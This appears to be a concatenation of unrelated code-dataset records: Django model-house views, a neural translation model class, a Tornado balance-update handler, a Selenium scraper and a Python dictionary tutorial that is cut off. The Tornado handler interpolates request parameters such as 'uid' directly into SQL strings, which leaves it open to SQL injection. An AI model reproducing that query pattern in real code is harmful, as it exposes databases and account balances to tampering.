mrelife.utils.relifeenum import MessageCode\n\n\nclass ModelHouseViewSet(ModelViewSet):\n queryset = ModelHouse.objects.all()\n serializer_class = ModelHouseSerializer\n permission_classes = (IsAuthenticated, ModelHousePermission,)\n parser_class = (FormParser, MultiPartParser, JSONParser)\n pagination_class = LimitOffsetPagination\n\n def create(self, request, *args, **kwargs):\n \"\"\"\n POST:\n store: int\n events: []\n tags: []\n medias: []\n \"\"\"\n request.data['create_user'] = request.user.id\n obj = super(ModelHouseViewSet, self).create(request, *args, **kwargs)\n house = ModelHouse.objects.get(pk=obj.data['id'])\n if not (IsStore(request.user) or IsSub(request.user)):\n try:\n store = OutletStore.objects.get(pk=int(request.data.get('store')))\n except Exception:\n store = None\n else:\n store = request.user.store\n ModelHouseUser.objects.create(user_id=request.user.id, model_house=house)\n\n if store is None:\n house.delete()\n return Response({\n 'status': False,\n 'messageCode': 'MH001',\n 'messageParams': {},\n 'data': {}\n }, status=status.HTTP_404_NOT_FOUND)\n\n events = request.data.get('events')\n if events is not None:\n for event in events:\n try:\n EventModelHouse.objects.create(event_id=event, model_house=house)\n except Exception:\n pass\n\n tags = request.data.get('tags')\n if tags is not None:\n for tag_name in tags:\n if not (tag_name == '' or tag_name is None):\n tag, created = Tag.objects.get_or_create(name=tag_name)\n ModelHouseTag.objects.create(tag=tag, model_house=house)\n\n ModelHouseOutletStore.objects.create(outlet_store=store, model_house=house)\n\n medias = request.data.getlist('medias')\n count = 0\n for media in medias:\n if count < 5:\n file = default_storage.save(media.name, media)\n ModelHouseMedia.objects.create(model_house=house, url=settings.MEDIA_URL + file)\n count += 1\n return obj\n\n def retrieve(self, request, *args, **kwargs):\n self.serializer_class = ModelHouseNestedSerializer\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n def update(self, request, *args, **kwargs):\n obj = super(ModelHouseViewSet, self).update(request, *args, **kwargs)\n return obj\n\n @detail_route(methods=['post'])\n def add_event(self, request, *args, **kwargs):\n \"\"\"\n POST:\n events: []\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n events = request.data.get('events')\n if events is not None:\n for event in events:\n try:\n if not house.events.filter(event_id=event).exists():\n EventModelHouse.objects.create(event_id=event, model_house=house)\n except Exception:\n pass\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n @detail_route(methods=['post'])\n def remove_event(self, request, *args, **kwargs):\n \"\"\"\n POST:\n events: []\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n events = request.data.get('events')\n if events is not None:\n for event in events:\n try:\n _event = EventModelHouse.objects.filter(event_id=event, model_house=house)\n _event.delete()\n except Exception:\n pass\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n @detail_route(methods=['post'])\n def add_tag(self, request, *args, **kwargs):\n \"\"\"\n POST:\n tags: []\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n tags = request.data.get('tags')\n if tags is not None:\n for tag_name in tags:\n if not (tag_name == '' or tag_name is None):\n tag, created = Tag.objects.get_or_create(name=tag_name)\n if created or not house.tags.filter(tag=tag).exists():\n ModelHouseTag.objects.create(tag=tag, model_house=house)\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n @detail_route(methods=['post'])\n def remove_tag(self, request, *args, **kwargs):\n \"\"\"\n POST:\n tags: []\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n tags = request.data.get('tags')\n if tags is not None:\n for tag in tags:\n try:\n _tag = ModelHouseTag.objects.filter(tag_id=tag, model_house=house)\n _tag.delete()\n except Exception:\n pass\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n @detail_route(methods=['post'])\n def add_media(self, request, *args, **kwargs):\n \"\"\"\n POST:\n medias: []\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n medias = request.data.getlist('medias')\n count = 0\n for media in medias:\n if count < 5:\n file = default_storage.save(media.name, media)\n ModelHouseMedia.objects.create(model_house=house, url=settings.MEDIA_URL + file)\n count += 1\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n @detail_route(methods=['post'])\n def remove_media(self, request, *args, **kwargs):\n \"\"\"\n POST:\n medias: []\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n medias = request.data.get('medias')\n if medias is not None:\n for media in medias:\n try:\n _media = ModelHouseMedia.objects.get(pk=media)\n _media.delete()\n except Exception:\n pass\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n @detail_route(methods=['post'])\n def add_user(self, request, *args, **kwargs):\n \"\"\"\n GET:\n POST:\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n users = request.data.get('users')\n if users is not None:\n for user in users:\n try:\n if not house.users.filter(user_id=user).exists():\n ModelHouseUser.objects.create(user_id=request.user.id, model_house=house)\n except Exception:\n pass\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n @detail_route(methods=['post'])\n def remove_user(self, request, *args, **kwargs):\n \"\"\"\n POST:\n users: [int]\n \"\"\"\n house = ModelHouse.objects.get(pk=kwargs['pk'])\n users = request.data.get('users')\n if users is not None:\n for user in users:\n try:\n _user = ModelHouseUser.objects.filter(user_id=user, model_house=house)\n _user.delete()\n except Exception:\n pass\n return super(ModelHouseViewSet, self).retrieve(request, *args, **kwargs)\n\n\nclass OrderModelHouseViewSet(ModelViewSet):\n queryset = OrderModelHouse.objects.all().filter(is_active=1)\n serializer_class = OrderModelHouseSerializer\n pagination_class = LimitOffsetPagination\n permission_classes = (IsAuthenticated, OrderMHViewadminPermission,)\n\n \n def list(self, request):\n self.queryset = OrderModelHouse.objects.filter(is_active=1)\n return super(OrderModelHouseViewSet, self).list(request)\n \n\n \n def retrieve(self, request, pk=None):\n try:\n queryset = OrderModelHouse.objects.all().filter(is_active=1)\n orderModelObject = get_object_or_404(queryset, pk=pk)\n serializer = OrderModelHouseSerializer(orderModelObject)\n return Response(CommonFuntion.resultResponse(True, serializer.data, MessageCode.OMH002.value, \"\"), status=status.HTTP_200_OK)\n except Exception as e:\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH003.value, \"\"), status=status.HTTP_404_NOT_FOUND)\n\n \n def create(self, request):\n request.data['create_user_id'] = request.user.id\n serializer = OrderModelHouseSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save(is_active=settings.IS_ACTIVE, created=datetime.now(), updated=datetime.now())\n return Response(CommonFuntion.resultResponse(True, serializer.data, MessageCode.OMH004.value, \"\"), status=status.HTTP_201_CREATED)\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH005.value, serializer.errors), status=status.HTTP_400_BAD_REQUEST)\n\n \n def update(self, request, pk=None):\n try:\n request.data['create_user_id'] = request.user.id\n queryset = OrderModelHouse.objects.all().filter(is_active=1)\n orderModelObject = get_object_or_404(queryset, pk=pk)\n serializer = OrderModelHouseSerializer(orderModelObject, data=request.data)\n if serializer.is_valid():\n serializer.save(is_active=settings.IS_ACTIVE, created=datetime.now(), updated=datetime.now())\n return Response(CommonFuntion.resultResponse(True, serializer.data, MessageCode.OMH006.value, \"\"), status=status.HTTP_200_OK)\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH007.value, serializer.errors), status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH007.value, \"\"), status=status.HTTP_404_NOT_FOUND)\n\n \n def destroy(self, request, pk=None):\n try:\n queryset = OrderModelHouse.objects.all().filter(is_active=1)\n orderModelObject = get_object_or_404(queryset, pk=pk)\n data = {\"is_active\": settings.IS_INACTIVE}\n serializer = OrderModelHouseSerializer(orderModelObject, data=data, partial=True)\n if serializer.is_valid():\n serializer.save(updated=datetime.now())\n return Response(CommonFuntion.resultResponse(True, serializer.data, MessageCode.OMH008.value, \"\"), status=status.HTTP_200_NO_CONTENT)\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH009.value, serializer.errors), status=status.HTTP_404_BAD_REQUEST)\n except Exception as e:\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH007.value, \"\"), status=status.HTTP_404_NOT_FOUND)\n\n @list_route(methods=['get']) \n def selfGetlistBooking(self, request, pk=None):\n queryset = OrderModelHouse.objects.all().filter(is_active=1).filter(create_user_id=request.user.id)\n return super(OrderModelHouseViewSet, self).list(request)\nclass updateStatus(GenericAPIView, UpdateModelMixin):\n queryset = OrderModelHouse.objects.all()\n serializer_class = OrderModelHouseStatusSerializer\n permission_classes = (IsAuthenticated,)\n\n def put(self, request, pk=None, *args, **kwargs):\n try:\n request.data['create_user_id'] = request.user.id\n queryset = OrderModelHouse.objects.all().filter(is_active=1)\n orderModelObject = get_object_or_404(queryset, pk=pk)\n serializer = OrderModelHouseSerializer(orderModelObject, data=request.data, partial=True)\n if serializer.is_valid():\n serializer.save(is_active=settings.IS_ACTIVE, created=datetime.now(), updated=datetime.now())\n return Response(CommonFuntion.resultResponse(True, serializer.data, MessageCode.OMH006.value, \"\"), status=status.HTTP_200_OK)\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH007.value, serializer.errors), status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n return Response(CommonFuntion.resultResponse(False, \"\", MessageCode.OMH007.value, \"\"), status=status.HTTP_404_NOT_FOUND)\n","sub_path":"service/mrelife/modelhouses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"650382547","text":"from nmtpytorch.layers.transformers.cross_modal_encoder import CrossModalEncoder\nfrom nmtpytorch.models import SimultaneousTFNMT\n\n\nclass EncoderCrossMMSimultaneousTFNMT(SimultaneousTFNMT):\n\n def __init__(self, opts):\n super().__init__(opts)\n assert not self.opts.model['enc_bidirectional'], \\\n 'Bidirectional TF encoder is not currently supported for simultaneous MT.'\n\n def set_defaults(self):\n super().set_defaults()\n self.defaults.update({\n # Decoding/training simultaneous NMT args\n 'enc_fusion': 'sum', # The encoder fusion type.Can be: 'sum' or 'gate'. Default 'sum'.\n 'enc_fusion_lnorm': True, # Whether to apply layer normalization after fusing the encoder.\n 'mm_attn_heads': 8, # The number of multimodal attention heads.\n 'enc_fusion_dropout': 0.0, # The amount of dropout after the fusion.\n })\n\n def _create_image_encoder(self):\n return CrossModalEncoder(\n input_size=self.opts.model['aux_dim'],\n proj_dim=self.opts.model['aux_proj_dim'],\n proj_activ=self.opts.model['aux_proj_activ'],\n layer_norm=self.opts.model['aux_lnorm'],\n l2_norm=self.opts.model['aux_l2norm'],\n dropout=self.opts.model['aux_dropout'],\n feat_mode=self.opts.model['feat_mode'],\n model_dim=self.opts.model['model_dim'],\n mm_attn_heads=self.opts.model['mm_attn_heads'],\n attn_dropout=self.opts.model['attn_dropout'],\n fusion=self.opts.model['enc_fusion'],\n fusion_lnorm=self.opts.model['enc_fusion_lnorm'],\n fusion_dropout=self.opts.model['enc_fusion_dropout'],\n boxes_dim=self.opts.model['img_boxes_dim']\n )\n\n def get_attention_weights(self):\n return {'encoder_src': self.encoders['src'].get_attention_weights(),\n 'encoder_img': self.encoders['image'].get_attention_weights(),\n 'decoder': self.dec.get_attention_weights()}\n\n def cache_enc_states(self, batch, **kwargs):\n \"\"\"\n Caches the encoder hidden states, by first computing the textual hidden states, and then combining them with the\n visual encoder using the cross modal encoder.\n :param batch: The batch.\n :param kwargs: Any additional args.\n \"\"\"\n enc_txt = self.encoders['src'](batch['src'])\n _ = self.encoders['image'](batch['image'], enc_txt=enc_txt)\n\n def get_enc_state_dict(self, up_to=int(1e6)):\n \"\"\"\n Get the encoder states. In the cross modal case retrive the ones from the cross modal image encoder, as they\n also contain the textual encoder hidden states.\n :param up_to: The amount of timesteps to return.\n :return: The encoder states up to a certain timestep.\n \"\"\"\n return {'src': self.encoders['image'].get_states(up_to=up_to)}\n","sub_path":"nmtpytorch/models/snmt_tf_enc_cmm.py","file_name":"snmt_tf_enc_cmm.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"5219389","text":"# -*- coding: utf-8 -*\r\nfrom util import validate_date_str\r\nimport tornado.web\r\nfrom datetime import datetime, timedelta\r\nimport json\r\n\r\nclass UpdateBalanceHandler(tornado.web.RequestHandler):\r\n @property\r\n def logger(self):\r\n return self.application.logger\r\n\r\n @property\r\n def mysql_db(self):\r\n return self.application.mysql_db\r\n\r\n @property\r\n def redis_client(self):\r\n return self.application.redis_client\r\n\r\n def stats_curday_balance(self, uid, start_tme, end_time):\r\n data = {\"order_balance\": None, \"cancel_balance\": None, \"updateTime\": None}\r\n\r\n sql = \"select sum(ticketPrices),updateTime from order_ticket where uid='%s' \\\r\n and status=1 and updateTime>='%s' and updateTime<'%s'\" % (uid, start_tme, end_time)\r\n qs, err = self.mysql_db.execute_query_sql(sql)\r\n if err is not None:\r\n return data, err\r\n\r\n self.logger.info(\"order balance: %s\" % str(qs))\r\n if qs is None or len(qs) == 0:\r\n return data, None\r\n\r\n data[\"order_balance\"] = qs[0][0]\r\n data[\"updateTime\"] = qs[0][1].strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n sql = \"select sum(ticketPrices),updateTime from order_cancel where uid='%s' \\\r\n and cancelStatus=1 and updateTime>='%s' and updateTime<'%s'\" % (uid, start_tme, end_time)\r\n qs, err = self.mysql_db.execute_query_sql(sql)\r\n if err is not None:\r\n return data, err\r\n\r\n self.logger.info(\"cancel balance: %s\" % str(qs))\r\n if qs is None or len(qs) == 0:\r\n return data, None\r\n\r\n data[\"cancel_balance\"] = qs[0][0]\r\n data[\"updateTime\"] = qs[0][1].strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n return data, None\r\n\r\n def cmp_update_time(self, update_time, start_time, end_time):\r\n s_time = datetime.strptime(update_time.strftime(\"%Y-%m-%d\"), \"%Y-%m-%d\")\r\n stime = datetime.strptime(start_time.split(\" \")[0], \"%Y-%m-%d\")\r\n etime = datetime.strptime(end_time.split(\" \")[0], \"%Y-%m-%d\")\r\n\r\n self.logger.info(\"s_time:%s stime: %s etime:%s\" % (s_time, stime, etime))\r\n if s_time >= stime or s_time >= etime:\r\n return True\r\n return False\r\n\r\n def valid_reqeust_time(self, start_time, end_time):\r\n if validate_date_str(start_time, \"%Y-%m-%d %H:%M:%S\") == False or \\\r\n validate_date_str(end_time, \"%Y-%m-%d %H:%M:%S\") == False:\r\n return True\r\n\r\n c1 = datetime.strptime(start_time, \"%Y-%m-%d %H:%M:%S\")\r\n c2 = datetime.strptime(end_time, \"%Y-%m-%d %H:%M:%S\")\r\n\r\n self.logger.info(\"c1:%s c2:%s\" % (c1, c2))\r\n if c1 + timedelta(days=1) < c2 or c1 > c2:\r\n return True\r\n return False\r\n\r\n def get(self):\r\n self.logger.info(\"%s%s?%s\" % (self.request.host, self.request.path, self.request.query))\r\n\r\n uid = self.get_argument(\"uid\", default=None, strip=True)\r\n start_time = self.get_argument(\"start_time\", default=None, strip=True)\r\n end_time = self.get_argument(\"end_time\", default=None, strip=True)\r\n\r\n self.set_header(\"Content-Type\", \"application/json;charset=UTF-8\")\r\n if uid is None or start_time is None or end_time is None:\r\n self.write({\"errcode\": -1, \"errmsg\": r\"时间参数错误\", \"data\": {}})\r\n self.finish()\r\n return\r\n\r\n if self.valid_reqeust_time(start_time, end_time):\r\n self.logger.error(r\"时间参数越界\")\r\n self.write({\"errcode\": -1, \"errmsg\": r\"时间参数越界\", \"data\": {}})\r\n self.finish()\r\n return\r\n\r\n sql = \"select totalBalance,updateTime from account_balance where uid='%s' order by updateTime desc limit 1\" % uid\r\n qs, err = self.mysql_db.execute_query_sql(sql)\r\n if err is not None:\r\n self.write({\"errcode\": -1, \"errmsg\": str(err), \"data\": {}})\r\n self.finish()\r\n return\r\n\r\n if qs is None or len(qs) == 0:\r\n self.write({\"errcode\": -1, \"errmsg\": r\"非法uid\", \"data\": {}})\r\n self.finish()\r\n return\r\n\r\n total_balance = qs[0][0]\r\n update_time = qs[0][1]\r\n\r\n self.logger.info(\"total balance: %s update_time:%s\" % (total_balance, update_time))\r\n if self.cmp_update_time(update_time, start_time ,end_time) == True:\r\n self.logger.info(r\"己经更新过余额\")\r\n self.write({\"errcode\": 0, \"errmsg\": r\"己经更新过余额\", \"data\": {}})\r\n self.finish()\r\n return\r\n\r\n data, err = self.stats_curday_balance(uid, start_time, end_time)\r\n if err is not None:\r\n self.logger.info(err)\r\n self.write({\"errcode\": -1, \"errmsg\": str(err), \"data\": {}})\r\n self.finish()\r\n return\r\n\r\n self.logger.info(\"query balance: %s\" % json.dumps(data))\r\n if data[\"order_balance\"] is None and data[\"cancel_balance\"] is None:\r\n self.logger.info(\"%s-%s无交易余额\" % (start_tme, end_time))\r\n self.write({\"errcode\": 0, \"errmsg\": \"%s-%s无交易余额\" % (start_tme, end_time), \"data\": {}})\r\n self.finish()\r\n return\r\n\r\n trans_balance = 0.0\r\n if data[\"order_balance\"] is not None:\r\n trans_balance = float(data[\"order_balance\"])\r\n\r\n if data[\"cancel_balance\"] is not None:\r\n trans_balance = trans_balance - float(data[\"cancel_balance\"])\r\n\r\n balance = total_balance - trans_balance\r\n self.logger.info(\"total_balance: %f trans_balance: %f balance: %f\" % (total_balance, trans_balance, balance))\r\n hdata = {\r\n \"totalBalance\": balance,\r\n \"lastTransMoney\": trans_balance,\r\n \"uid\": uid,\r\n \"updateTime\": datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\r\n \"statsTime\": data[\"updateTime\"],\r\n \"operator\": 1\r\n }\r\n\r\n self.logger.info(\"hdata: %s\" % json.dumps(hdata))\r\n\r\n if self.redis_client.hset(\"ticket-uid\", uid, balance) == False:\r\n self.logger.info(r\"更新交易余额失败\")\r\n self.write({\"errcode\": -1, \"errmsg\": r\"更新交易余额失败\", \"data\": hdata})\r\n self.finish()\r\n return\r\n\r\n if self.redis_client.set(\"ticket_balance_uid_%s\" % uid, balance) is None:\r\n self.logger.info(r\"更新缓存余额失败\")\r\n self.write({\"errcode\": -1, \"errmsg\": r\"更新缓存余额失败\", \"data\": hdata})\r\n self.finish()\r\n return\r\n\r\n if self.mysql_db.insert(\"account_balance\", hdata) is not None:\r\n self.logger.info(r\"更新余额失败\")\r\n self.write({\"errcode\": -1, \"errmsg\": r\"更新余额失败\", \"data\": hdata})\r\n self.finish()\r\n return\r\n\r\n if balance < 0.0:\r\n self.logger.info(r\"余额不足\")\r\n self.write({\"errcode\": 0, \"errmsg\": r\"余额不足\", \"data\": hdata})\r\n else:\r\n self.logger.info(r\"交易正常\")\r\n self.write({\"errcode\": 0, \"errmsg\": r\"交易正常\", \"data\": hdata})\r\n self.finish()\r\n\r\n self.logger.info(\"=====================end\")\r\n","sub_path":"3rd_party/nginx.bak/home/work/ticket_server/admin_update_balance.py","file_name":"admin_update_balance.py","file_ext":"py","file_size_in_byte":7202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"573994953","text":"import re\n\nimport lxml\nfrom selenium import webdriver\n\nlink_url = \"https://www.baidu.com/bh/dict/ydxx_8158835209873076610?tab=%E6%A6%82%E8%BF%B0&title=%E8%82%9D%E7%99%8C&contentid=ydxx_8158835209873076610&query=%E8%82%9D%E7%99%8C&sf_ref=dict_home&from=dicta\"\n\ndriver = webdriver.Chrome()\ndriver.maximize_window()\ndriver.get(link_url)\n\n# 获取页面源代码\nhtml_source = driver.page_source\n# 重点\nhtml = lxml.html.fromstring(html_source)\n# 获取标签下所有文本\nitems = html.xpath(\"//div[@id='y_prodsingle']//text()\")\n# 正则 匹配以下内容 \\s+ 首空格 \\s+$ 尾空格 \\n 换行\npattern = re.compile(\"^\\s+|\\s+$|\\n\")\n\nclause_text = \"\"\nfor item in items:\n # 将匹配到的内容用空替换，即去除匹配的内容，只留下文本\n line = re.sub(pattern, \"\", item)\n if len(line) > 0:\n clause_text += line + \"\\n\"\n#\n#\nprint(clause_text)","sub_path":"爬虫/selenium爬虫.py","file_name":"selenium爬虫.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"57358318","text":"# https://towardsdatascience.com/15-things-you-should-know-about-dictionaries-in-python-44c55e75405c\n''' 1. What is a Python dictionary?\nA dictionary is an unordered and mutable Python container that stores mappings of unique keys to values. Dictionaries are written with curly brackets ({}), including key-value pairs separated by commas (,). A colon (:) separates each key from its value.\nThree dictionaries are shown below, containing the population of the 5 largest German cities, list of products, and student’s grades.\n'''\n# dictionary containing the population of the 5 largest german cities\npopulation = {'Berlin': 3748148, 'Hamburg': 1822445, 'Munich': 1471508, 'Cologne': 1085664, 'Frankfurt': 753056 }\n\n# dictionary containing a list of products' prices\nproducts = {'table': 120, 'chair': 40, 'lamp': 14, 'bed': 250, 'mattress': 100}\n\n# dictionary containing students grades\ngrades = {'Alba': 9.5, 'Eduardo': 10, 'Normando': 3.5, 'Helena': 6.5, 'Claudia': 7.5}\n\n'''\n2. Create a dictionary with dict() constructor\nDictionaries can also be created with the built-in function dict(**kwarg). This function takes an arbitrary number of keywords arguments (arguments preceded by an identifier kwarg=value) as input, returning None.\nWe can also create a dictionary using another dictionary in combination with keyword arguments (dict(mapping, **kwarg)) as follows:\nAlternatively, we can construct a dictionary using an iterable (e.g. list of tuples). Each tuple must contain two objects. The first object becomes the key and the second becomes the value of the dictionary.\n'''\n# create a dictionary with dict() function using keyword arguments # Notice the input was not given in the format of dictionary.. the dict constructor will transform it dictionary format.\n# dictionary - ages of students\nstudents_ages = dict(Amanda=27, Teresa=38, Paula=17, Mario=40)\n\n# create a dictionary with dict() function using another dictionary and keyword arguments\n# dictionary - ages of students\nstudents_ages = dict({'Amanda':27,'Teresa':38},Paula=18,Mario=40) #Notice the single quotes not given as providing the input to constructor(**kwargs). refer to args&kwargs.py for more details\nprint(students_ages)\n\n# create a dictionary with dict() function using an iterable (list of tuples). # [] inside dict should be given or else we get error(dict expected at most 1 arguments, got 4) as dict is considering every tuple as a different argument and it expects only one argument.\n# dictionary - ages of students\nstudents_ages = dict([('Amanda', 27), ('Teresa', 38), ('Paula', 17), ('Mario', 40)])\nprint(students_ages)\n\n#Lastly, we can create a dictionary using two lists. First, we have to build an iterator of tuples using zip(*iterables) function. Then, we employ the dict([iterable, **kwarg]) function to construct the dictionary, as we did previously.\nstudents = ['Amanda', 'Teresa', 'Paula', 'Mario']\nages = [27, 38, 17, 40]\ns = dict(zip(students,ages))\n\n'''\n#Access values in a dictionary\n#To access dictionary values, we cannot use a numeric index (as we do with lists or tuples), since the dictionaries are unordered containers. Instead, we enclose the key using square brackets([]). If we try to access a value using an undefined key, a KeyError is raised.\n#To avoid getting an exception with undefined keys, we can use the method dict.get(key[, default]). This method returns the value for key if key is in the dictionary, else returns default. If default is not provided, it returns None (but never raises an exception).\n'''\n# access population\npopulation['Munich']\n# 1471508\n\n# # access a value using a numeric index\n# population[1]\n# # KeyError\n\n# # access population of Stuttgart\n# population['Stuttgart']\n# # KeyError\n\n# access population of Stuttgart using .get() method without default value\nprint(population.get('Munich'))\n# 1471508\n\n# access population of Stuttgart using .get() method without default value\nprint(population.get('Stuttgart'))\n# None\n\n# access population of Stuttgart using .get() method with default value\nprint(population.get('Stuttgart', 'Not found'))\n# Not found\n\n#Inserting elements\n#To insert an element in a dictionary, we can use square brackets as follows:\nproducts['pillow'] = 10\nprint(products)\n\n#To insert multiple items at once, we can use dict.update([]). This method updates key-value pairs from other,overwriting existing keys.\n## add shelf and sofa to the products dictionary using another dictionary object\nproducts.update({'shelf':70,'sofa':300})\nprint(products)\n\n## add three new items to the grades dictionary using keyword arguments\ngrades.update(Violeta=5.5, Marco=6.5, Paola=8)\nprint(grades)\n\n## add two cities to the population dictionary using a list of tuples\npopulation.update([('Stuttgart', 632743),('Dusseldorf', 617280)])\nprint(population)\n#As shown above, the .update() method accepts as an argument not only another dictionary, but also a list of tuples or keyword arguments. This method modifies the dictionary in-place, returning None.\n\n\n##5. Change elements in a dictionary\n#We can change the value of an item by accessing the key using square brackets ([]). To modify multiple values at once, we can use the .update() method, since this function overwrites existing keys.\n# Subsequently, we increase the price of a sofa 100 units, and we modify the grades of two students.\nprint(products)\nproducts['sofa'] = 400\n\nprint(products)\n#{'table': 120, 'chair': 40, 'lamp': 14, 'bed': 250, 'mattress': 100, 'pillow': 10, 'shelf': 70, 'sofa': 400}\n\n# modify the grades of two students\ngrades.update({'Normando':2.5,'Violetta':6})\nprint(grades)\n\n#6. Remove elements in a dictionary\n#To remove an element in a dictionary, we can use either the del dict[key] keyword or the dict.pop(key[, default]) method.\n#The del dict[key] keyword removes the given element from the dictionary, raising a KeyError if key does not exists.\nprint(population)\n#{'Berlin': 3748148, 'Hamburg': 1822445, 'Munich': 1471508, 'Cologne': 1085664, 'Frankfurt': 753056, 'Stuttgart': 632743,\n# 'Dusseldorf': 617280}\n# del population['Ingolstadt'] #KeyError: 'Ingolstadt'\n\n# key exists\n# the element dusseldorf is removed\ndel population['Dusseldorf']\n\n# key exists - the item is removed and the value returned\npopulation.pop('Stuttgart')\n# 632743 - returned value\n\n#If key exists in the dictionary, the dict.pop(key[, default]) method removes the item with the given key from the dictionary and returns its value. On the contrary, if key does not exist in the dictionary, the method returns the default value. If no default value is provided and key does not exist, the .pop() method will raise an exception (KeyError).\n\nprint(population)\n#{'Berlin': 3748148, 'Hamburg': 1822445, 'Munich': 1471508, 'Cologne': 1085664, 'Frankfurt': 753056}\n\n# key does not exists but default value is provided\npopulation.pop('Ingolstadt', 'Value not found')\n# 'Value not found' - returned value\n\n# # key does not exists and default value is NOT provided\n# population.pop('Garching')\n# # KeyError\n\n'''\n##7. Check if a key exists\n# To check whether a key exists in a dictionary, we have to use a membership operator. Membership operators are used to test whether a value is found in a sequence (e.g. strings, lists, tuples, sets, or dictionaries). There are two membership operators, as explained below.\n# in → Evaluates to true if the object on the left side is included in the object on the right side.\n# not in → Evaluates to true if the object on the left side is not included in the object on the right side.\n'''\nprint('Berlin' in population)\nprint('Ingolstadt' not in population)\n#As shown above, membership operators (in and not in) can be used to check whether a key exists in a dictionary, but they can also be used with other sequences in the following manner.\n\n# membership operators - in / not in\n#strings\nprint('a' in 'Amanda')\n\n#lists\nprint(3 in [1,2,3,4])\n\n#Tuples\nprint(s not in (1,2))\n\n#sets\nprint('Valencia' in {'Barcelona', 'Valencia', 'Madrid','Berlin'})\n\n#8. Copy a dictionary\n#To copy a dictionary, we can simply use the dict.copy() method. This method returns a shallow copy of the dictionary. We have to be careful with shallow copies, since if your dictionary contains another container-objects like lists, tuples, or sets, they will be referenced again and not duplicated.\n\n# dictionary with students heights\nstudents = {'Marco': 173, 'Luis': 184, 'Andrea': 168}\n\n# create a shallow copy\nstudents_2 = students.copy()\n\n# modify the height of luis in the shallow copy\nstudents_2['Luis'] = 180\n\n# the modification in students_2 is not observed in students since 180 is an int\nprint(students)\n# {'Marco': 173, 'Luis': 184, 'Andrea': 168}\n\nprint(students_2)\n# {'Marco': 173, 'Luis': 180, 'Andrea': 168}\n\n\n# dictionary with students heights and weights\nstudents_weights = {'Marco': [173, 70], 'Luis': [184, 80], 'Andrea': [168, 57]}\n\n# create a shallow copy\nstudents_weights_2 = students_weights.copy()\n\n# modify the height of luis in the shallow copy\nstudents_weights_2['Luis'][0] = 180\n# the modification in students_weights_2 is observed in students_weights\n# since the list containing the weight and height is referenced and not duplicated\nprint(students_weights)\n# {'Marco': [173, 70], 'Luis': [180, 80], 'Andrea': [168, 57]}\n\n# solution --> create a deepcopy of the dictionary\n\n#To avoid this problem, we can create a deep copy using copy.deepcopy(x) function (defined in the copy module) as follows:\n\nimport copy\nstudents_weights_2 = copy.deepcopy(students_weights)\nstudents_weights_2[0] = 174\n# the modification in students_weights_2 is NOT observed in students_weights\n# since we are working with a deep copy\n\nprint(students_weights)\n# {'Marco': [173, 70], 'Luis': [184, 80], 'Andrea': [168, 57]}\n\nprint(students_weights_2)\n# {'Marco': [173, 70], 'Luis': [180, 80], 'Andrea': [168, 57]}\n\n'''\n##The difference between shallow copies and deep copies is only relevant when the dictionary contains other objects like lists, since those objects will be referenced instead of duplicated (shallow copy). To create a fully independent clone of the original dictionary, we have to make a deep copy.\n\n#It is important to bear in mind that the = operator does not make a copy of the dictionary. It is just another name to refer to the same dictionary, meaning any modification to the new dictionary is reflected in the original one.\n'''\n\n# dictionary with calories in fruits\nfruits = {'Orange': 50, 'Apple': 65, 'Avocado': 160, 'Pear': 75}\n\n# copy the dictionary using = operators\nfruits_2 = fruits\n\n# modify fruits_2 (delete one item)\nfruits_2.pop('Orange')\n\n# the modification is reflected in fruits\nprint(fruits)\n# {'Apple': 65, 'Avocado': 160, 'Pear': 75}\n\n#9. Determine the length of the dictionary\n#To determine how many key-value pairs the dictionary contains, we can use the len() function. This function returns the number of items of an object. The input of the function can be a dictionary, but also another type of sequence such as a string, list, tuple, or set.\n\nprint(population)\nprint(len(population))\n\n#10. Loop through a dictionary\n#Iterating through keys\n#To iterate over the keys, we can use the dictionary directly in a for loop as follows:\n\n# iterate through keys\nfor city in population:\n print(city)\n\n#Alternatively, we can use the dict.keys() method. This method returns a view object, containing the keys of the dictionary.\nfor city in population.keys():\n print(city)\n'''\n#Iterating through values\n#If you just need to work with the values of a dictionary, then you can use the dict.values() method in a for loop. This method returns a view object that contains the values of the dictionary.\n'''\n#We can compute how many people live in the 5 largest German cities using dict.values() method as follows:\n\ninhabitants=0\nfor number in population.values():\n inhabitants += 